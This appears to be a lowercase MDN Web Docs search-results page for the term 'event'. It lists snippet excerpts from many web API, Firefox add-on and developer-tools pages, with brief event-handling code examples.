... var myscript = "window.addeventlistener('click', function(event) {" + " var t = event.target;" + " if (t.nodename == 'a')" + " self.port.emit('click-link', t.tostring());" + "}, false);" var mypanel = require("sdk/panel").panel({ contenturl: "http://www.bbc.co.uk/mobile/index.html", contentscript: myscript }); mypanel.port.on("click-link", function(url) { ...
...function handleclick(state) { textentrypanel.show(); } // when the panel is displayed it generated an event called // "show": we will listen for that event and when it happens, // send our own "show" event to the panel's script, so the // script can prepare the panel for display.
...And 24 more matches
XRSession - Web APIs
WebAPIXRSession
properties in addition to the properties listed below, xrsession inherits properties from its parent interface, eventtarget.
... visibilitystate read only a domstring whose value is one of those found in the xrvisibilitystate enumerated type, indicating whether or not the session's imagery is visible to the user, and if so, if it's being visible but not currently the target for user events.
... methods xrsession provides the following methods in addition to those inherited from its parent interface, eventtarget.
...And 24 more matches
textbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus.
...And 23 more matches
WebRTC API - Web APIs
rtcdatachannelevent represents events that occur while attaching a rtcdatachannel to a rtcpeerconnection.
... the only event sent with this interface is datachannel.
... rtcpeerconnectioniceevent represents events that occur in relation to ice candidates with the target, usually an rtcpeerconnection.
...And 23 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... ignoreblurwhilesearching obsolete since gecko 1.9.1 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
...And 22 more matches
Focus and Selection - Archive of obsolete content
focused elements the focused element refers to the element which currently receives input events.
...here is an example: example 1 : source view <button label="button 1" tabindex="2"/> <button label="button 2" tabindex="1"/> <button label="button 3" tabindex="3"/> the focus event the focus event is used to respond when the focus is given to an element.
... the blur event is used to respond when the focus is removed from an element.
...And 22 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
we will also see how to declare and clean-up event listeners on dom elements.
...so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding.
... the following new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality.
...And 22 more matches
DevTools API - Firefox Developer Tools
all these objects implement the eventemitter interface.
... events following events are emitted by the gdevtools object via the eventemitter interface.
... events the toolbox object emits following events via the eventemitter interface.
...And 22 more matches
Cross-browser audio basics - Developer guides
this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
...io> <!-- custom play and pause buttons --> <button id="play">play</button> <button id="pause">pause</button> next, we attach some functionality to the player using javascript: window.onload = function(){ var myaudio = document.getelementbyid('my-audio'); var play = document.getelementbyid('play'); var pause = document.getelementbyid('pause'); // associate functions with the 'onclick' events play.onclick = playaudio; pause.onclick = pauseaudio; function playaudio() { myaudio.play(); } function pauseaudio() { myaudio.pause(); } } media loading events above we have shown how you can create a very simple audio player, but what if we want to show progress, buffering and only activate the buttons when the media is ready to play?
... fortunately, there are a number of events we can use to let our player know exactly what is happening.
...And 22 more matches
ui/button/toggle - Archive of obsolete content
toggle buttons have all the same features as action buttons: they can display icons and respond to click events.
...toggle buttons have two extra features: they emit a change event when clicked, as well as a click event.
... responding to click events you can respond to click events by assigning a listener to the button's click or change events.
...And 21 more matches
Anonymous Content - Archive of obsolete content
perhaps on elementxbl?] event flow and targeting flow and targeting across scopes dom events can fire on anonymous targets just as they can on explicit targets.
... as long as the event flows within the same scope, it is no different from the behavior outlined in the dom level 2 events specification.
... events flow through the final transformed content model after all elements have been repositioned through the usage of children tags.
...And 21 more matches
Pinch zoom gestures - Web APIs
this example shows how to detect the pinch/zoom gesture, which uses pointer events to detect whether the user moves two pointers closer or farther apart from each other.
... example in this example, you use the pointer events to simultaneously detect two pointing devices of any type, including fingers, mice, and pens.
... <style> div { margin: 0em; padding: 2em; } #target { background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases.
...And 21 more matches
Using Web Workers - Web APIs
once created, a worker can send messages to the javascript code that created it by posting messages to an event handler specified by that code (and vice versa).
... data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared.
...all you need to do is call the worker() constructor, specifying the uri of a script to execute in the worker thread (main.js): var myworker = new worker('worker.js'); sending messages to and from a dedicated worker the magic of workers happens via the postmessage() method and the onmessage event handler.
...And 21 more matches
A XUL Bestiary - Archive of obsolete content
events events are also a source of confusion for many less-hardened developers.
... in fact, i'm not sure i understand them adequately myself, but here goes a simple explanation of events and of how they are used, basically, in a event-based interface like those created in xul.
... events are messages that are sent from an object when that object performs some action.
...And 20 more matches
WebRequest.jsm
the webrequest module provides an api to add event listeners for the various stages of making an http request.
... the event listener receives detailed information about the request, and can modify or cancel the request.
...he following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbeforesendheaders onsendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callback) adding listeners use addlistener to add a listener to a particular event.
...And 20 more matches
Using the Gamepad API - Web APIs
the gamepad api introduces new events on the window object for reading gamepad and controller (hereby referred to as gamepad) state.
... in addition to these events, the api also adds a gamepad object, which you can use to query the state of a connected gamepad, and a navigator.getgamepads() method which you can use to get a list of gamepads known to the page.
... connecting to a gamepad when a new gamepad is connected to the computer, the focused page first receives a gamepadconnected event.
...And 20 more matches
HTMLElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...oke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and toucheventhandlers.
... htmlelement.inert is a boolean indicating whether the user agent must act as though the given node is absent for the purposes of user interaction events, in-page text searches ("find in page"), and text selection.
...And 20 more matches
Using Service Workers - Web APIs
the service worker is now ready to process events.
...an install event is always the first one sent to a service worker (this can be used to start the process of populating an indexeddb, and caching site assets).
...when the service worker is installed, it then receives an activate event.
...And 20 more matches
Multi-touch interaction - Web APIs
the touch event interfaces support application-specific single and multi-touch interactions.
... however, the interfaces can be a bit tricky for programmers to use because touch events are very different from other dom input events, such as mouse events.
... the application described in this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures.
...And 20 more matches
jspage - Archive of obsolete content
ow"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("backgroundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c,d){for(var b=0,a=this.length;b<a;b++){if(!c.call(d,this[b],b,this)){return false;...
...rn null;}if(this.length==4&&this[3]==0&&!d){return"transparent";}var b=[];for(var a=0;a<3;a++){var c=(this[a]-0).tostring(16); b.push((c.length==1)?"0"+c:c);}return(d)?b:"#"+b.join("");}});function.implement({extend:function(a){for(var b in a){this[b]=a[b];}return this;},create:function(b){var a=this; b=b||{};return function(d){var c=b.arguments;c=(c!=undefined)?$splat(c):array.slice(arguments,(b.event)?1:0);if(b.event){c=[d||window.event].extend(c); }var e=function(){return a.apply(b.bind||null,c);};if(b.delay){return settimeout(e,b.delay);}if(b.periodical){return setinterval(e,b.periodical);}if(b.attempt){return $try(e); }return e();};},run:function(a,b){return this.apply(b,$splat(a));},pass:function(a,b){return this.create({bind:b,arguments:a});},bind:function(b,a){return this.create({bind:b...
...,arguments:a}); },bindwithevent:function(b,a){return this.create({bind:b,arguments:a,event:true});},attempt:function(a,b){return this.create({bind:b,arguments:a,attempt:true})(); },delay:function(b,c,a){return this.create({bind:c,arguments:a,delay:b})();},periodical:function(c,b,a){return this.create({bind:b,arguments:a,periodical:c})(); }});number.implement({limit:function(b,a){return math.min(a,math.max(b,this));},round:function(a){a=math.pow(10,a||0);return math.round(this*a)/a;},times:function(b,c){for(var a=0; a<this;a++){b.call(c,a,this);}},tofloat:function(){return parsefloat(this);},toint:function(a){return parseint(this,a||10);}});number.alias("times","each"); (function(b){var a={};b.each(function(c){if(!number[c]){a[c]=function(){return math[c].apply(null,[this].concat($a(arguments)))...
...And 19 more matches
Web Console remoting - Firefox Developer Tools
the networkeventactor is used for each new network request.
... the client can request further network event details - like response body or request headers.
...when you attach to the global consoleactor you receive all of the network requests, page errors, and the other events from all of the tabs and windows, including chrome errors and network events.
...And 19 more matches
HTMLBodyElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlbodyelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbodyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement and from windoweventhandlers.
... methods no specific methods; inherits methods from its parent, htmlelement, and from windoweventhandlers.
...And 19 more matches
window.postMessage() - Web APIs
broadly, one window may obtain a reference to another (e.g., via targetwindow = window.opener), and then dispatch a messageevent on it with targetwindow.postmessage().
... the receiving window is then free to handle this event as needed.
... the arguments passed to window.postmessage() (i.e., the “message”) are exposed to the receiving window through the event object.
...And 19 more matches
Web APIs
WebAPI
aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbinterse...
...ction observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available.
... a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstractworker accelerometer addresserrors aescbcparams aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse au...
...And 19 more matches
Navigation and resource timings - Web Performance
navigation timings are metrics measuring a browser's document navigation events.
...as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend.
... domloading when the parser started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown.
...And 19 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
it works by providing an object which implements the event handlers.
...the object contains a series of functions, one for each event handler (except for dragenter where it has nothing special to do).
... each of the functions takes two parameters, the first is the event object and the second is an observer object that you create.
...And 18 more matches
HTML Drag and Drop API - Web APIs
drag events html drag-and-drop uses the dom event model and drag events inherited from mouse events.
... during drag operations, several event types are fired, and some events might fire many times, such as the drag and dragover events.
... each drag event type has an associated global event handler: event on event handler fires when… drag ondrag …a dragged item (element or text selection) is dragged.
...And 18 more matches
Pointer Lock API - Web APIs
it gives you access to raw mouse movement, locks the target of mouse events to a single element, eliminates limits on how far mouse movement can go in a single direction, and removes the cursor from view.
... pointer lock lets you access mouse events even when the cursor goes past the boundary of the browser or screen.
...mouse capture provides continued delivery of events to a target element while a mouse is being dragged, but it stops when the mouse button is released.
...And 18 more matches
remote/parent - Archive of obsolete content
, then the message payload process.port.once("id", (process, id) => { console.log("child process is remote:" + process.isremote); console.log("child process id:" + id); }); }); content frame manipulation this demonstrates telling every current frame to link to a specific anchor element: // remote.js const { frames } = require("sdk/remote/child"); // listeners receive the frame the event was for as the first argument frames.port.on("changelocation", (frame, ref) => { frame.content.location += "#" + ref; }); // main.js const { frames, remoterequire } = require("sdk/remote/parent"); remoterequire("./remote.js", module); frames.port.emit("changelocation", "foo"); tab information this shows sending a message when a tab loads; this is similar to how the sdk/tabs module current...
... // remote.js const { frames } = require("sdk/remote/child"); frames.addeventlistener("pageshow", function() { // `this` is bound to the frame the event came from let frame = this; frame.port.emit("pageshow"); }, true); // main.js const { frames, remoterequire } = require("sdk/remote/parent"); remoterequire("./remote.js", module); // the first argument is the frame the message came from frames.port.on("pageshow", (frame) => { console.log(frame.frameelement.currenturi.host + ": pageshow"); }); globals functions remoterequire(id, module = null) loads a module in any existing and future child processes.
...listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any new processes created in the future.
...And 17 more matches
Elements - Archive of obsolete content
a xbl binding can add anonymous content, fields, properties, methods, and event handlers to html/xml elements.
... handlers <!entity % handlers-content "handler*"> <!element handlers %handlers-content;> <!attlist handlers id id #implied > the handlers element contains event handlers that can be attached to elements within the bound document.
... handler <!entity % handler-content "pcdata"> <!element handler %handler-content;> <!attlist handler id id #implied event nmref #required action cdata #implied phase (capturing|bubbling|target) #implied button (1|2|3) #implied modifiers cdata #implied keycode cdata #implied key cdata ...
...And 17 more matches
Client-side storage - Learn web development
ent.queryselector('.forget'); const form = document.queryselector('form'); const nameinput = document.queryselector('#entername'); const submitbtn = document.queryselector('#submitname'); const forgetbtn = document.queryselector('#forgetname'); const h1 = document.queryselector('h1'); const personalgreeting = document.queryselector('.personal-greeting'); next up, we need to include a small event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want.
... add this snippet below your previous code: // stop the form from submitting when a button is pressed form.addeventlistener('submit', function(e) { e.preventdefault(); }); now we need to add an event listener, the handler function of which will run when the "say hello" button is clicked.
...add this to the bottom of your code: // run function when the 'say hello' button is clicked submitbtn.addeventlistener('click', function() { // store the entered name in web storage localstorage.setitem('name', nameinput.value); // run namedisplaycheck() to sort out displaying the // personalized greetings and updating the form display namedisplaycheck(); }); at this point we also need an event handler to run a function when the "forget" button is clicked — this is only displayed after the "s...
...And 17 more matches
Waterfall - Firefox Developer Tools
the following operations are recorded: name and description color detailed information dom event javascript code that's executed in response to a dom event.
... event type for example, "click" or "message".
... event phase for example, "target" or "capture".
...And 17 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api provides a static, asynchronous transaction on a database using event handler attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...d4dde4"/><a xlink:href="/docs/web/api/idbtransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are started when the transaction is created, not when the first request is placed; for example consider this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the c...
...And 17 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
this was due to a small number of issues with the api and some potential race conditions that needed to be prevented.
... perfect negotiation works by assigning each of the two peers a role to play in the negotiation process that's entirely separate from the webrtc connection state: a polite peer, which uses ice rollback to prevent collisions with incoming offers.
... handling incoming tracks we next need to set up a handler for track events to handle inbound video and audio tracks that have been negotiatied to be received by this peer connection.
...And 17 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
starting up and shutting down webxr upon initially loading the script, we install a handler for the load event, so that we can perform initialization.
... window.addeventlistener("load", onload); function onload() { xrbutton = document.queryselector("#enter-xr"); xrbutton.addeventlistener("click", onxrbuttonclick); projectionmatrixout = document.queryselector("#projection-matrix div"); modelmatrixout = document.queryselector("#model-view-matrix div"); cameramatrixout = document.queryselector("#camera-matrix div"); mousematrixout = document.queryselector("#mouse-matrix div"); if (!navigator.xr || enableforcepolyfill) { console.log("using the polyfill"); polyfill = new webxrpolyfill(); } setupxrbutton(); } the load event handler gets a reference to the button that toggles webxr on and off into xrbutton, then adds a handler for click events.
... the webxr session is toggled on and off by the handler for click events on the button, whose label is appropriately set to either "enter webxr" or "exit webxr".
...And 17 more matches
Using XMLHttpRequest - Web APIs
function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...*/ } oreq.open("get", url); oreq.responsetype = "arraybuffer"; oreq.send(); for more examples check out the sending and receiving binary data page monitoring progress xmlhttprequest provides the ability to listen to various events that can occur while the request is being processed.
... support for dom progress event monitoring of xmlhttprequest transfers follows the specification for progress events: these events implement the progressevent interface.
...And 17 more matches
Color picker tool - CSS: Cascading Style Sheets
pe.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); }; /*=======================================================================*/ /*=======================================================================*/ /*========== capture mouse movement ==========*/ var setmousetracking = function setmousetracking(elem, callback) { elem.addeventlistener('mousedown', function(e) { callback(e); document.addeventlistener('mousemove', callback); }); document.addeventlistener('mouseup', function(e) { document.removeeventlistener('mousemove', callback); }); }; /*====================*/ // color picker class /*====================*/ function colorpicker(node) { this.color = new color(); this.node = node; this.subscri...
... document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.setattribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.setattribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.addeventlistener('change', onchangefunc); input.addeventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; }); }; colorpicker.prototype.createchangemodebutton = function createchangemodebutton() { var button = document.createelement('div'); button.classname = 'switch_mode'; button.addeventlistener('click', function() { ...
...be : unsubscribe, setpickermode : setpickermode }; })(); /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var sta...
...And 17 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
pe.getcolor = function getcolor() { if (this.a | 0 === 1) return this.gethexa(); return this.getrgba(); }; /*=======================================================================*/ /*=======================================================================*/ /*========== capture mouse movement ==========*/ var setmousetracking = function setmousetracking(elem, callback) { elem.addeventlistener('mousedown', function(e) { callback(e); document.addeventlistener('mousemove', callback); }); document.addeventlistener('mouseup', function(e) { document.removeeventlistener('mousemove', callback); }); }; /*====================*/ // color picker class /*====================*/ function colorpicker(node) { this.color = new color(); this.node = node; this.subscri...
... document.createelement('div'); var input = document.createelement('input'); var info = document.createelement('span'); wrapper.classname = 'input'; wrapper.setattribute('data-topic', topic); info.textcontent = title; info.classname = 'name'; input.setattribute('type', 'text'); wrapper.appendchild(info); wrapper.appendchild(input); this.node.appendchild(wrapper); input.addeventlistener('change', onchangefunc); input.addeventlistener('click', function() { this.select(); }); this.subscribe(topic, function(value) { input.value = value; }); }; colorpicker.prototype.createchangemodebutton = function createchangemodebutton() { var button = document.createelement('div'); button.classname = 'switch_mode'; button.addeventlistener('click', function() { ...
...ld !== null) { option = node.firstelementchild; option_value = option.getattribute('data-value'); if (option_value === null) option.setattribute('data-value', uval); list.appendchild(node.firstelementchild); uval++; } node.appendchild(select); node.appendchild(list); select.onclick = this.toggle.bind(this); list.onclick = this.updatevalue.bind(this); document.addeventlistener('click', clickout); this.state = 0; this.time = 0; this.dropmenu = list; this.select = select; this.toggle(false); this.value = {}; this.topic = topic; if (label) select.textcontent = label; else this.setnodevalue(list.children[selected]); dropdowns[topic] = this; }; dropdown.prototype.toggle = function toggle(state) { if (typeof(state) === 'boolean') ...
...And 17 more matches
User input and controls - Developer guides
relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more.
... recommendations available input mechanisms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces.
...for example if you want to add controls when any key gets pressed, you need to add an event listener on the window object: window.addeventlistener("keydown", handlekeydown, true); window.addeventlistener("keyup", handlekeyup, true); where handlekeydown and handlekeyup are the functions implementing the controls about the keydown and keyup events.
...And 17 more matches
places/bookmarks - Archive of obsolete content
save() and search() are both asynchronous functions: they synchronously return a placesemitter object, which then asynchronously emits events as the operation progresses and completes.
... examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === boo...
...kmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez", url: "http://ibanez.com", group: group }), bookmark({ title: "esp", url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don't have `group` in the array, // although it needs to be saved since all bookmarks are children // of `group`.
...And 16 more matches
Detecting device orientation - Web APIs
there are two javascript events that handle orientation information.
... the first one is the deviceorientationevent, which is sent when the accelerometer detects a change to the orientation of the device.
... by receiving and processing the data reported by these orientation events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device.
...And 16 more matches
HTMLFrameSetElement - Web APIs
properties inherits properties from its parent, htmlelement and from windoweventhandlers.
... methods no specific method; inherits methods from its parent, htmlelement and from windoweventhandlers.
... event handlers no specific event handler; inherits event handlers from its parent, htmlelement and from windoweventhandlers.
...And 16 more matches
Service Worker API - Web APIs
service worker concepts and usage a service worker is an event-driven worker registered against an origin and a path.
... an event is fired on the service worker and it hasn't been downloaded in the last 24 hours.
... you can listen for the installevent; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage api, and placing assets inside it that you'll want for running your app offline.
...And 16 more matches
Starting up and shutting down a WebXR session - Web APIs
finally, you must call requestsession() from a user event handler, such as the handler for the click event.
... the key things you need (or may need) to do in order to finish the configuration of your session include: add handlers for the events you need to watch.
... if you use xr input controllers, watch the inputsourceschange event to detect the addition or removal of xr input controllers, and the various select and squeeze action events.
...And 16 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
note: an element with the autofocus attribute may gain focus before the domcontentloaded event is fired.
... specifically, disabled inputs do not receive the click event, and disabled inputs are not submitted with the form.
...by default, browsers prevent users from entering more characters than allowed by the maxlength attribute.
...And 16 more matches
Interacting with page scripts - Archive of obsolete content
expose objects to page scripts until firefox 30, you could use unsafewindow to perform the reverse procedure, and make objects defined in content scripts available to page scripts: // content-script.js unsafewindow.contentscriptobject = {"greeting" : "hello from add-on"}; // page-script.js var button = document.getelementbyid("show-content-script-var"); button.addeventlistener("click", function() { // access object defined by content script console.log(window.contentscriptobject.greeting); // "hello from add-on" }, false); after firefox 30, you can still do this for primitive values, but can no longer do it for objects.
...assigns it to unsafewindow twice: the first time using cloneinto(), the second time using simple assignment: // content-script.js var contentscriptobject = {"greeting" : "hello from add-on"}; unsafewindow.clonedcontentscriptobject = cloneinto(contentscriptobject, unsafewindow); unsafewindow.assignedcontentscriptobject = contentscriptobject; the "page.html" file adds two buttons and assigns an event listener to each: one listener displays a property of the cloned object, and the other listener displays a property of the assigned object: <html> <head> </head> <body> <input id="works" type="button" value="i will work"/> <input id="fails" type="button" value="i will not work"/> <script> var works = document.getelementbyid("works"); works.addeventlistener("click",...
... function() { alert(clonedcontentscriptobject.greeting); }, false); var fails = document.getelementbyid("fails"); fails.addeventlistener("click", function() { alert(assignedcontentscriptobject.greeting); }, false); </script> </body> </html> if you run the example, clicking "i will work" displays the value of "greeting" in an alert.
...And 15 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
dom mutation events were introduced to html several years ago in order to allow web applications to monitor changes to the dom by other scripts.
... unfortunately, adding listeners for any of these events to a document has a highly deleterious effect on performance, an effect which is not mitigated in the slightest by later removing those listeners.
... mutation observers mutation observers are the more efficient, w3c speced replacement for the highly inefficient mutation events.
...And 15 more matches
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface.
... the javascript implementation to wire up the functionality required by our simple browser, we've written some basic javascript (see the full javascript listing.) wiring up the back and forward buttons early on in the code we implement two simple event listeners to move the browser back and forward in history when the relevant buttons are pressed: back.addeventlistener('touchend',function() { browser.goback(); }); fwd.addeventlistener('touchend',function() { browser.goforward(); }); the functions can be handled using the browser api htmliframeelement.goback() and htmliframeelement.goforward() methods.
... you'll also notice that we're also firing these functions on the touchend event, which is effective as firefox os devices are generally touchscreen.
...And 15 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
event loops each agent is driven by an event loop, which collects any user and other events, enqueuing tasks to handle each callback.
... your web site or app's code runs in the same thread, sharing the same event loop, as the user interface of the web browser itself.
... this is the main thread, and in addition to running your site's main code body, it handles receiving and dispatching user and other events, rendering and painting web content, and so forth.
...And 15 more matches
The HTML DOM API - Web APIs
